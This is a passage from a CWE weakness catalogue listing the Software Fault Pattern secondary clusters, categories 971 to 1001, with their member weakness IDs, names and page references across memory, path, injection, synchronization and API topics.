HasMember	G	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	888	283
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	888	294
HasMember	V	121	Stack-based Buffer Overflow	888	303
HasMember	V	122	Heap-based Buffer Overflow	888	307
HasMember	B	123	Write-what-where Condition	888	310
HasMember	B	124	Buffer Underwrite ('Buffer Underflow')	888	313
HasMember	B	125	Out-of-bounds Read	888	316
HasMember	V	126	Buffer Over-read	888	320
HasMember	V	127	Buffer Under-read	888	323
HasMember	V	129	Improper Validation of Array Index	888	327

## Category-971: SFP Secondary Cluster: Faulty Pointer Use

Category ID : 971

### Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Pointer Use cluster (SFP7).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	2176
HasMember	B	469	Use of Pointer Subtraction to Determine Size	888	1055
HasMember	B	476	NULL Pointer Dereference	888	1070

Nature	Type	ID	Name	V	Page
HasMember	V	588	Attempt to Access Child of a Non-structure Pointer	888	1246

## Category-972: SFP Secondary Cluster: Faulty String Expansion

Category ID : 972

### Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty String Expansion cluster (SFP9).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	2176
HasMember	V	785	Use of Path Manipulation Function without Maximum-sized Buffer	888	1542

## Category-973: SFP Secondary Cluster: Improper NULL Termination

Category ID : 973

### Summary

This category identifies Software Fault Patterns (SFPs) within the Improper NULL Termination cluster (SFP11).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	2176
HasMember	B	170	Improper Null Termination	888	411

## Category-974: SFP Secondary Cluster: Incorrect Buffer Length Computation

Category ID : 974

### Summary

This category identifies Software Fault Patterns (SFPs) within the Incorrect Buffer Length Computation cluster (SFP10).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	2176
HasMember	B	131	Incorrect Calculation of Buffer Size	888	340
HasMember	B	135	Incorrect Calculation of Multi-Byte String Length	888	355
HasMember	C	251	Often Misused: String Management	888	2106
HasMember	V	467	Use of sizeof() on a Pointer Type	888	1050

## Category-975: SFP Secondary Cluster: Architecture

Category ID : 975

### Summary

This category identifies Software Fault Patterns (SFPs) within the Architecture cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	907	SFP Primary Cluster: Other	888	2182
HasMember	B	348	Use of Less Trusted Source	888	813
HasMember	B	359	Exposure of Private Personal Information to an Unauthorized Actor	888	836
HasMember	C	602	Client-Side Enforcement of Server-Side Security	888	1271
HasMember	C	637	Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')	888	1320
HasMember	B	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking	888	1346
HasMember	B	654	Reliance on a Single Factor in a Security Decision	888	1355
HasMember	B	656	Reliance on Security Through Obscurity	888	1359
HasMember	C	657	Violation of Secure Design Principles	888	1361
HasMember	C	671	Lack of Administrator Control over Security	888	1385
HasMember	P	693	Protection Mechanism Failure	888	1422
HasMember	B	749	Exposed Dangerous Method or Function	888	1456

## Category-976: SFP Secondary Cluster: Compiler

Category ID : 976

### Summary

This category identifies Software Fault Patterns (SFPs) within the Compiler cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	907	SFP Primary Cluster: Other	888	2182
HasMember	B	733	Compiler Optimization Removal or Modification of Security-critical Code	888	1454

## Category-977: SFP Secondary Cluster: Design

Category ID : 977

### Summary

This category identifies Software Fault Patterns (SFPs) within the Design cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	907	SFP Primary Cluster: Other	888	2182
HasMember	B	115	Misinterpretation of Input	888	271
HasMember	V	187	Partial String Comparison	888	448
HasMember	B	188	Reliance on Data/Memory Layout	888	451

Nature	Type	ID	Name	V	Page
HasMember	B	193	Off-by-one Error	888	466
HasMember	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	888	815
HasMember	G	405	Asymmetric Resource Consumption (Amplification)	888	933
HasMember	G	406	Insufficient Control of Network Message Volume (Network Amplification)	888	937
HasMember	G	407	Inefficient Algorithmic Complexity	888	939
HasMember	B	408	Incorrect Behavior Order: Early Amplification	888	942
HasMember	B	409	Improper Handling of Highly Compressed Data (Data Amplification)	888	943
HasMember	B	410	Insufficient Resource Pool	888	945
HasMember	B	430	Deployment of Wrong Handler	888	985
HasMember	B	462	Duplicate Key in Associative List (Alist)	888	1043
HasMember	B	463	Deletion of Data Structure Sentinel	888	1045
HasMember	B	464	Addition of Data Structure Sentinel	888	1047
HasMember	B	483	Incorrect Block Delimitation	888	1095
HasMember	B	581	Object Model Violation: Just One of Equals and Hashcode Defined	888	1236
HasMember	V	595	Comparison of Object References Instead of Object Contents	888	1256
HasMember	B	618	Exposed Unsafe ActiveX Method	888	1299
HasMember	B	648	Incorrect Use of Privileged APIs	888	1344
HasMember	G	670	Always-Incorrect Control Flow Implementation	888	1384
HasMember	P	682	Incorrect Calculation	888	1403
HasMember	P	691	Insufficient Control Flow Management	888	1420
HasMember	G	696	Incorrect Behavior Order	888	1426
HasMember	P	697	Incorrect Comparison	888	1428
HasMember	B	698	Execution After Redirect (EAR)	888	1431
HasMember	G	705	Incorrect Control Flow Scoping	888	1437

## Category-978: SFP Secondary Cluster: Implementation

Category ID : 978

### Summary

This category identifies Software Fault Patterns (SFPs) within the Implementation cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	907	SFP Primary Cluster: Other	888	2182
HasMember	B	358	Improperly Implemented Security Check for Standard	888	834
HasMember	C	398	7PK - Code Quality	888	2116
HasMember	V	623	Unsafe ActiveX Control Marked Safe For Scripting	888	1307
HasMember	P	710	Improper Adherence to Coding Standards	888	1444

## Category-979: SFP Secondary Cluster: Failed Chroot Jail

Category ID : 979

## Summary

This category identifies Software Fault Patterns (SFPs) within the Failed Chroot Jail cluster (SFP17).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	893	SFP Primary Cluster: Path Resolution	888	2177
HasMember	V	243	Creation of chroot Jail Without Changing Working Directory	888	559

## Category-980: SFP Secondary Cluster: Link in Resource Name Resolution

Category ID : 980

## Summary

This category identifies Software Fault Patterns (SFPs) within the Link in Resource Name Resolution cluster (SFP18).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	893	SFP Primary Cluster: Path Resolution	888	2177
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	888	108
HasMember	V	62	UNIX Hard Link	888	115
HasMember	V	64	Windows Shortcut Following (.LNK)	888	117
HasMember	V	65	Windows Hard Link	888	119
HasMember	B	386	Symbolic Name not Mapping to Correct Object	888	892
HasMember	G	610	Externally Controlled Reference to a Resource in Another Sphere	888	1285

## Category-981: SFP Secondary Cluster: Path Traversal

Category ID : 981

## Summary

This category identifies Software Fault Patterns (SFPs) within the Path Traversal cluster (SFP16).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	893	SFP Primary Cluster: Path Resolution	888	2177
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	888	33
HasMember	B	23	Relative Path Traversal	888	44
HasMember	V	24	Path Traversal: '../filedir'	888	51
HasMember	V	25	Path Traversal: '/../filedir'	888	52
HasMember	V	26	Path Traversal: '/dir../filename'	888	54
HasMember	V	27	Path Traversal: 'dir../filename'	888	56
HasMember	V	28	Path Traversal: '..filedir'	888	57



Nature	Type	ID	Name	V	Page
HasMember	V	29	Path Traversal: '\.filename'	888	59
HasMember	V	30	Path Traversal: 'dir\.filename'	888	61
HasMember	V	31	Path Traversal: 'dir\.\.filename'	888	62
HasMember	V	32	Path Traversal: '...' (Triple Dot)	888	64
HasMember	V	33	Path Traversal: '....' (Multiple Dot)	888	66
HasMember	V	34	Path Traversal: '....//'	888	68
HasMember	V	35	Path Traversal: '.../...//'	888	70
HasMember	B	36	Absolute Path Traversal	888	72
HasMember	V	37	Path Traversal: '/absolute/pathname/here'	888	75
HasMember	V	38	Path Traversal: '\absolute\pathname\here'	888	77
HasMember	V	39	Path Traversal: 'C:dirname'	888	79
HasMember	V	40	Path Traversal: '\\UNC\share\name\ (Windows UNC Share)	888	81
HasMember	B	41	Improper Resolution of Path Equivalence	888	83
HasMember	V	42	Path Equivalence: 'filename.' (Trailing Dot)	888	89
HasMember	V	43	Path Equivalence: 'filename....' (Multiple Trailing Dot)	888	90
HasMember	V	44	Path Equivalence: 'file.name' (Internal Dot)	888	91
HasMember	V	45	Path Equivalence: 'file...name' (Multiple Internal Dot)	888	92
HasMember	V	46	Path Equivalence: 'filename ' (Trailing Space)	888	93
HasMember	V	47	Path Equivalence: ' filename' (Leading Space)	888	94
HasMember	V	48	Path Equivalence: 'file name' (Internal Whitespace)	888	95
HasMember	V	49	Path Equivalence: 'filename/' (Trailing Slash)	888	96
HasMember	V	50	Path Equivalence: '//multiple/leading/slash'	888	97
HasMember	V	51	Path Equivalence: '/multiple//internal/slash'	888	98
HasMember	V	52	Path Equivalence: '/multiple/trailing/slash//'	888	99
HasMember	V	53	Path Equivalence: '\multiple\internal\backslash'	888	100
HasMember	V	54	Path Equivalence: 'filedir\' (Trailing Backslash)	888	101
HasMember	V	55	Path Equivalence: './.' (Single Dot Directory)	888	102
HasMember	V	56	Path Equivalence: 'filedir*' (Wildcard)	888	104
HasMember	V	57	Path Equivalence: 'fakedir/./readdir/filename'	888	105
HasMember	V	58	Path Equivalence: Windows 8.3 Filename	888	106
HasMember	B	66	Improper Handling of File Names that Identify Virtual Resources	888	121
HasMember	V	67	Improper Handling of Windows Device Names	888	122
HasMember	V	72	Improper Handling of Apple HFS+ Alternate Data Stream Path	888	126
HasMember	B	73	External Control of File Name or Path	888	128
HasMember	B	428	Unquoted Search Path or Element	888	982
HasMember	C	706	Use of Incorrectly-Resolved Name or Reference	888	1439

## Category-982: SFP Secondary Cluster: Failure to Release Resource

Category ID : 982

### Summary

This category identifies Software Fault Patterns (SFPs) within the Failure to Release Resource cluster (SFP14).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	892	SFP Primary Cluster: Resource Management	888	2177
HasMember	G	404	Improper Resource Shutdown or Release	888	927
HasMember	B	459	Incomplete Cleanup	888	1038
HasMember	B	771	Missing Reference to Active Allocated Resource	888	1510
HasMember	B	772	Missing Release of Resource after Effective Lifetime	888	1512
HasMember	V	773	Missing Reference to Active File Descriptor or Handle	888	1517
HasMember	V	775	Missing Release of File Descriptor or Handle after Effective Lifetime	888	1519

## Category-983: SFP Secondary Cluster: Faulty Resource Use

Category ID : 983

### Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Resource Use cluster (SFP15).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	892	SFP Primary Cluster: Resource Management	888	2177
HasMember	V	416	Use After Free	888	958
HasMember	G	672	Operation on a Resource after Expiration or Release	888	1386

## Category-984: SFP Secondary Cluster: Life Cycle

Category ID : 984

### Summary

This category identifies Software Fault Patterns (SFPs) within the Life Cycle cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	892	SFP Primary Cluster: Resource Management	888	2177
HasMember	P	664	Improper Control of a Resource Through its Lifetime	888	1367
HasMember	G	666	Operation on Resource in Wrong Phase of Lifetime	888	1374
HasMember	G	675	Multiple Operations on Resource in Single-Operation Context	888	1393
HasMember	B	694	Use of Multiple Resources with Duplicate Identifier	888	1424

## Category-985: SFP Secondary Cluster: Unrestricted Consumption

Category ID : 985

### Summary

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Consumption cluster (SFP13).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	892	SFP Primary Cluster: Resource Management	888	2177
HasMember	G	400	Uncontrolled Resource Consumption	888	912
HasMember	G	674	Uncontrolled Recursion	888	1391
HasMember	B	770	Allocation of Resources Without Limits or Throttling	888	1502
HasMember	V	774	Allocation of File Descriptors or Handles Without Limits or Throttling	888	1518

## Category-986: SFP Secondary Cluster: Missing Lock

Category ID : 986

### Summary

This category identifies Software Fault Patterns (SFPs) within the Missing Lock cluster (SFP19).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	894	SFP Primary Cluster: Synchronization	888	2177
HasMember	B	364	Signal Handler Race Condition	888	851
HasMember	B	366	Race Condition within a Thread	888	856
HasMember	B	368	Context Switching Race Condition	888	863
HasMember	B	413	Improper Resource Locking	888	950
HasMember	B	414	Missing Lock Check	888	953
HasMember	V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	888	1183
HasMember	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	888	1213
HasMember	B	609	Double-Checked Locking	888	1283
HasMember	G	662	Improper Synchronization	888	1363
HasMember	B	663	Use of a Non-reentrant Function in a Concurrent Context	888	1365
HasMember	G	667	Improper Locking	888	1375

## Category-987: SFP Secondary Cluster: Multiple Locks/Unlocks

Category ID : 987

### Summary

This category identifies Software Fault Patterns (SFPs) within the Multiple Locks/Unlocks cluster (SFP21).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	894	SFP Primary Cluster: Synchronization	888	2177
HasMember	B	585	Empty Synchronized Block	888	1241
HasMember	B	764	Multiple Locks of a Critical Resource	888	1493
HasMember	B	765	Multiple Unlocks of a Critical Resource	888	1494

**Category-988: SFP Secondary Cluster: Race Condition Window**

Category ID : 988

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Race Condition Window cluster (SFP20).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	894	SFP Primary Cluster: Synchronization	888	2177
HasMember	G	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	888	841
HasMember	B	363	Race Condition Enabling Link Following	888	849
HasMember	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	888	858
HasMember	V	370	Missing Check for Certificate Revocation after Initial Check	888	868
HasMember	G	638	Not Using Complete Mediation	888	1322

**Category-989: SFP Secondary Cluster: Unrestricted Lock**

Category ID : 989

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Lock cluster (SFP22).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	894	SFP Primary Cluster: Synchronization	888	2177
HasMember	B	412	Unrestricted Externally Accessible Lock	888	947

**Category-990: SFP Secondary Cluster: Tainted Input to Command**

Category ID : 990

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Command cluster (SFP24).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	896	SFP Primary Cluster: Tainted Input	888	2178
HasMember	G	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	888	133
HasMember	G	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)	888	138
HasMember	B	76	Improper Neutralization of Equivalent Special Elements	888	139
HasMember	G	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	888	141

Nature	Type	ID	Name	V	Page
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	888	147
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	888	159
HasMember	V	80	Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)	888	172
HasMember	V	81	Improper Neutralization of Script in an Error Message Web Page	888	175
HasMember	V	82	Improper Neutralization of Script in Attributes of IMG Tags in a Web Page	888	177
HasMember	V	83	Improper Neutralization of Script in Attributes in a Web Page	888	179
HasMember	V	84	Improper Neutralization of Encoded URI Schemes in a Web Page	888	181
HasMember	V	85	Doubled Character XSS Manipulations	888	183
HasMember	V	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages	888	185
HasMember	V	87	Improper Neutralization of Alternate XSS Syntax	888	186
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	888	188
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	888	195
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	888	207
HasMember	B	91	XML Injection (aka Blind XPath Injection)	888	209
HasMember	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	888	211
HasMember	V	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	888	220
HasMember	B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	888	225
HasMember	V	97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page	888	228
HasMember	G	99	Improper Control of Resource Identifiers ('Resource Injection')	888	235
HasMember	V	102	Struts: Duplicate Validation Forms	888	239
HasMember	V	103	Struts: Incomplete validate() Method Definition	888	240
HasMember	V	104	Struts: Form Bean Does Not Extend Validation Class	888	243
HasMember	V	105	Struts: Form Field Without Validator	888	245
HasMember	V	106	Struts: Plug-in Framework not in Use	888	248
HasMember	V	107	Struts: Unused Validation Form	888	251
HasMember	V	108	Struts: Unvalidated Action Form	888	253
HasMember	V	109	Struts: Validator Turned Off	888	254
HasMember	V	110	Struts: Validator Without Form Field	888	256
HasMember	B	112	Missing XML Validation	888	261
HasMember	V	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')	888	263
HasMember	B	130	Improper Handling of Length Parameter Inconsistency	888	336
HasMember	B	134	Use of Externally-Controlled Format String	888	349
HasMember	G	138	Improper Neutralization of Special Elements	888	357
HasMember	B	140	Improper Neutralization of Delimiters	888	360

Nature	Type	ID	Name	V	Page
HasMember	V	141	Improper Neutralization of Parameter/Argument Delimiters	888	362
HasMember	V	142	Improper Neutralization of Value Delimiters	888	364
HasMember	V	143	Improper Neutralization of Record Delimiters	888	365
HasMember	V	144	Improper Neutralization of Line Delimiters	888	367
HasMember	V	145	Improper Neutralization of Section Delimiters	888	369
HasMember	V	146	Improper Neutralization of Expression/Command Delimiters	888	371
HasMember	V	147	Improper Neutralization of Input Terminators	888	373
HasMember	V	148	Improper Neutralization of Input Leaders	888	375
HasMember	V	149	Improper Neutralization of Quoting Syntax	888	376
HasMember	V	150	Improper Neutralization of Escape, Meta, or Control Sequences	888	377
HasMember	V	151	Improper Neutralization of Comment Delimiters	888	380
HasMember	V	152	Improper Neutralization of Macro Symbols	888	382
HasMember	V	153	Improper Neutralization of Substitution Characters	888	384
HasMember	V	154	Improper Neutralization of Variable Name Delimiters	888	385
HasMember	V	155	Improper Neutralization of Wildcards or Matching Symbols	888	387
HasMember	V	156	Improper Neutralization of Whitespace	888	389
HasMember	V	157	Failure to Sanitize Paired Delimiters	888	391
HasMember	V	158	Improper Neutralization of Null Byte or NUL Character	888	392
HasMember	G	159	Improper Handling of Invalid Use of Special Elements	888	395
HasMember	V	160	Improper Neutralization of Leading Special Elements	888	397
HasMember	V	161	Improper Neutralization of Multiple Leading Special Elements	888	398
HasMember	V	162	Improper Neutralization of Trailing Special Elements	888	400
HasMember	V	163	Improper Neutralization of Multiple Trailing Special Elements	888	401
HasMember	V	164	Improper Neutralization of Internal Special Elements	888	403
HasMember	V	165	Improper Neutralization of Multiple Internal Special Elements	888	404
HasMember	B	183	Permissive List of Allowed Inputs	888	439
HasMember	B	184	Incomplete List of Disallowed Inputs	888	441
HasMember	G	185	Incorrect Regular Expression	888	444
HasMember	B	186	Overly Restrictive Regular Expression	888	447
HasMember	B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')	888	1009
HasMember	V	553	Command Shell in Externally Accessible Directory	888	1195
HasMember	V	554	ASP.NET Misconfiguration: Not Using Input Validation Framework	888	1196
HasMember	V	564	SQL Injection: Hibernate	888	1207
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	888	1266
HasMember	B	611	Improper Restriction of XML External Entity Reference	888	1286
HasMember	B	619	Dangling Database Cursor ('Cursor Injection')	888	1300
HasMember	B	621	Variable Extraction Error	888	1303
HasMember	B	624	Executable Regular Expression Error	888	1308
HasMember	B	625	Permissive Regular Expression	888	1309
HasMember	V	626	Null Byte Interaction Error (Poison Null Byte)	888	1312
HasMember	B	627	Dynamic Variable Evaluation	888	1314



Nature	Type	ID	Name	V	Page
HasMember	B	641	Improper Restriction of Names for Files and Other Resources	888	1329
HasMember	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	888	1336
HasMember	V	644	Improper Neutralization of HTTP Headers for Scripting Syntax	888	1338
HasMember	V	646	Reliance on File Name or Extension of Externally-Supplied File	888	1341
HasMember	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	888	1351
HasMember	V	687	Function Call With Incorrectly Specified Argument Value	888	1413
HasMember	P	707	Improper Neutralization	888	1440

## Category-991: SFP Secondary Cluster: Tainted Input to Environment

Category ID : 991

### Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Environment cluster (SFP27).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	896	SFP Primary Cluster: Tainted Input	888	2178
HasMember	B	94	Improper Control of Generation of Code ('Code Injection')	888	213
HasMember	G	114	Process Control	888	268
HasMember	B	427	Uncontrolled Search Path Element	888	977
HasMember	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	888	1057
HasMember	B	471	Modification of Assumed-Immutable Data (MAID)	888	1060
HasMember	B	472	External Control of Assumed-Immutable Web Parameter	888	1062
HasMember	V	473	PHP External Variable Modification	888	1066
HasMember	B	494	Download of Code Without Integrity Check	888	1119
HasMember	V	622	Improper Validation of Function Hook Arguments	888	1305
HasMember	G	673	External Influence of Sphere Definition	888	1390

## Category-992: SFP Secondary Cluster: Faulty Input Transformation

Category ID : 992

### Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Input Transformation cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	896	SFP Primary Cluster: Tainted Input	888	2178



Nature	Type	ID	Name	V	Page
HasMember		116	Improper Encoding or Escaping of Output	888	272
HasMember		166	Improper Handling of Missing Special Element	888	406
HasMember		167	Improper Handling of Additional Special Element	888	408
HasMember		168	Improper Handling of Inconsistent Special Elements	888	409
HasMember		172	Encoding Error	888	415
HasMember		173	Improper Handling of Alternate Encoding	888	417
HasMember		174	Double Decoding of the Same Data	888	419
HasMember		175	Improper Handling of Mixed Encoding	888	421
HasMember		176	Improper Handling of Unicode Encoding	888	422
HasMember		177	Improper Handling of URL Encoding (Hex Encoding)	888	424
HasMember		178	Improper Handling of Case Sensitivity	888	427
HasMember		179	Incorrect Behavior Order: Early Validation	888	430
HasMember		180	Incorrect Behavior Order: Validate Before Canonicalize	888	433
HasMember		181	Incorrect Behavior Order: Validate Before Filter	888	435
HasMember		182	Collapse of Data into Unsafe Value	888	437

## Category-993: SFP Secondary Cluster: Incorrect Input Handling

Category ID : 993

### Summary

This category identifies Software Fault Patterns (SFPs) within the Incorrect Input Handling cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		896	SFP Primary Cluster: Tainted Input	888	2178
HasMember		198	Use of Incorrect Byte Ordering	888	483
HasMember		228	Improper Handling of Syntactically Invalid Structure	888	540
HasMember		229	Improper Handling of Values	888	542
HasMember		230	Improper Handling of Missing Values	888	543
HasMember		231	Improper Handling of Extra Values	888	544
HasMember		232	Improper Handling of Undefined Values	888	545
HasMember		233	Improper Handling of Parameters	888	546
HasMember		234	Failure to Handle Missing Parameter	888	547
HasMember		235	Improper Handling of Extra Parameters	888	550
HasMember		236	Improper Handling of Undefined Parameters	888	551
HasMember		237	Improper Handling of Structural Elements	888	552
HasMember		238	Improper Handling of Incomplete Structural Elements	888	553
HasMember		239	Failure to Handle Incomplete Element	888	554
HasMember		240	Improper Handling of Inconsistent Structural Elements	888	555
HasMember		241	Improper Handling of Unexpected Data Type	888	555
HasMember		351	Insufficient Type Distinction	888	820
HasMember		354	Improper Validation of Integrity Check Value	888	830

## Category-994: SFP Secondary Cluster: Tainted Input to Variable

Category ID : 994

## Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Variable cluster (SFP25).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	896	SFP Primary Cluster: Tainted Input	888	2178
HasMember	B	15	External Control of System or Configuration Setting	888	17
HasMember	G	20	Improper Input Validation	888	19
HasMember	B	454	External Initialization of Trusted Variables or Data Stores	888	1025
HasMember	V	496	Public Data Assigned to Private Array-Typed Field	888	1125
HasMember	B	502	Deserialization of Untrusted Data	888	1137
HasMember	V	566	Authorization Bypass Through User-Controlled SQL Primary Key	888	1211
HasMember	B	606	Unchecked Input for Loop Condition	888	1278
HasMember	V	616	Incomplete Identification of Uploaded File Variables (PHP)	888	1295

## Category-995: SFP Secondary Cluster: Feature

Category ID : 995

## Summary

This category identifies Software Fault Patterns (SFPs) within the Feature cluster.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	906	SFP Primary Cluster: UI	888	2181
HasMember	B	447	Unimplemented or Unsupported Feature in UI	888	1015
HasMember	B	448	Obsolete Feature in UI	888	1017
HasMember	B	449	The UI Performs the Wrong Action	888	1017
HasMember	B	450	Multiple Interpretations of UI Input	888	1019
HasMember	G	451	User Interface (UI) Misrepresentation of Critical Information	888	1020
HasMember	B	549	Missing Password Field Masking	888	1190
HasMember	B	655	Insufficient Psychological Acceptability	888	1357

## Category-996: SFP Secondary Cluster: Security

Category ID : 996

## Summary

This category identifies Software Fault Patterns (SFPs) within the Security cluster.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	906	SFP Primary Cluster: UI	888	2181
HasMember	B	356	Product UI does not Warn User of Unsafe Actions	888	832

Nature	Type	ID	Name	V	Page
HasMember	B	357	Insufficient UI Warning of Dangerous Operations	888	833
HasMember	C	446	UI Discrepancy for Security Feature	888	1014

## Category-997: SFP Secondary Cluster: Information Loss

Category ID : 997

### Summary

This category identifies Software Fault Patterns (SFPs) within the Information Loss cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	906	SFP Primary Cluster: UI	888	2181
HasMember	C	221	Information Loss or Omission	888	531
HasMember	B	222	Truncation of Security-relevant Information	888	532
HasMember	B	223	Omission of Security-relevant Information	888	533
HasMember	B	224	Obscured Security-relevant Information by Alternate Name	888	535

## Category-998: SFP Secondary Cluster: Glitch in Computation

Category ID : 998

### Summary

This category identifies Software Fault Patterns (SFPs) within the Glitch in Computation cluster (SFP1).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	885	SFP Primary Cluster: Risky Values	888	2175
HasMember	B	128	Wrap-around Error	888	324
HasMember	B	190	Integer Overflow or Wraparound	888	453
HasMember	B	191	Integer Underflow (Wrap or Wraparound)	888	460
HasMember	V	194	Unexpected Sign Extension	888	471
HasMember	V	195	Signed to Unsigned Conversion Error	888	474
HasMember	V	196	Unsigned to Signed Conversion Error	888	477
HasMember	B	197	Numeric Truncation Error	888	479
HasMember	B	369	Divide By Zero	888	865
HasMember	V	456	Missing Initialization of a Variable	888	1029
HasMember	V	457	Use of Uninitialized Variable	888	1034
HasMember	B	466	Return of Pointer Value Outside of Expected Range	888	1049
HasMember	B	468	Incorrect Pointer Scaling	888	1053
HasMember	B	475	Undefined Behavior for Input to API	888	1069
HasMember	B	480	Use of Incorrect Operator	888	1087
HasMember	V	481	Assigning instead of Comparing	888	1090
HasMember	V	486	Comparison of Classes by Name	888	1100
HasMember	B	562	Return of Stack Variable Address	888	1204
HasMember	B	570	Expression is Always False	888	1216

Nature	Type	ID	Name	V	Page
HasMember	B	571	Expression is Always True	888	1219
HasMember	V	579	J2EE Bad Practices: Non-serializable Object Stored in Session	888	1233
HasMember	B	587	Assignment of a Fixed Address to a Pointer	888	1244
HasMember	V	594	J2EE Framework: Saving Unserializable Objects to Disk	888	1254
HasMember	V	597	Use of Wrong Operator in String Comparison	888	1258
HasMember	B	628	Function Call with Incorrectly Specified Arguments	888	1316
HasMember	B	681	Incorrect Conversion between Numeric Types	888	1400
HasMember	V	683	Function Call With Incorrect Order of Arguments	888	1408
HasMember	V	685	Function Call With Incorrect Number of Arguments	888	1411
HasMember	V	686	Function Call With Incorrect Argument Type	888	1412
HasMember	V	688	Function Call With Incorrect Variable or Reference as Argument	888	1415
HasMember	G	704	Incorrect Type Conversion or Cast	888	1435
HasMember	V	768	Incorrect Short Circuit Evaluation	888	1500

## Category-1001: SFP Secondary Cluster: Use of an Improper API

Category ID : 1001

### Summary

This category identifies Software Fault Patterns (SFPs) within the Use of an Improper API cluster (SFP3).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	887	SFP Primary Cluster: API	888	2175
HasMember	V	111	Direct Use of Unsafe JNI	888	258
HasMember	C	227	7PK - API Abuse	888	2105
HasMember	B	242	Use of Inherently Dangerous Function	888	557
HasMember	V	245	J2EE Bad Practices: Direct Management of Connections	888	563
HasMember	V	246	J2EE Bad Practices: Direct Use of Sockets	888	564
HasMember	V	382	J2EE Bad Practices: Use of System.exit()	888	883
HasMember	V	383	J2EE Bad Practices: Direct Use of Threads	888	885
HasMember	B	432	Dangerous Signal Handler not Disabled During Sensitive Operations	888	988
HasMember	B	439	Behavioral Change in New Version or Environment	888	1003
HasMember	B	440	Expected Behavior Violation	888	1004
HasMember	B	474	Use of Function with Inconsistent Implementations	888	1067
HasMember	B	477	Use of Obsolete Function	888	1076
HasMember	V	479	Signal Handler Use of a Non-reentrant Function	888	1084
HasMember	V	558	Use of getlogin() in Multithreaded Application	888	1199
HasMember	V	572	Call to Thread run() instead of start()	888	1221
HasMember	G	573	Improper Following of Specification by Caller	888	1222
HasMember	V	574	EJB Bad Practices: Use of Synchronization Primitives	888	1224
HasMember	V	575	EJB Bad Practices: Use of AWT Swing	888	1225
HasMember	V	576	EJB Bad Practices: Use of Java I/O	888	1228
HasMember	V	577	EJB Bad Practices: Use of Sockets	888	1229

Nature	Type	ID	Name	V	Page
HasMember	V	578	EJB Bad Practices: Use of Class Loader	888	1231
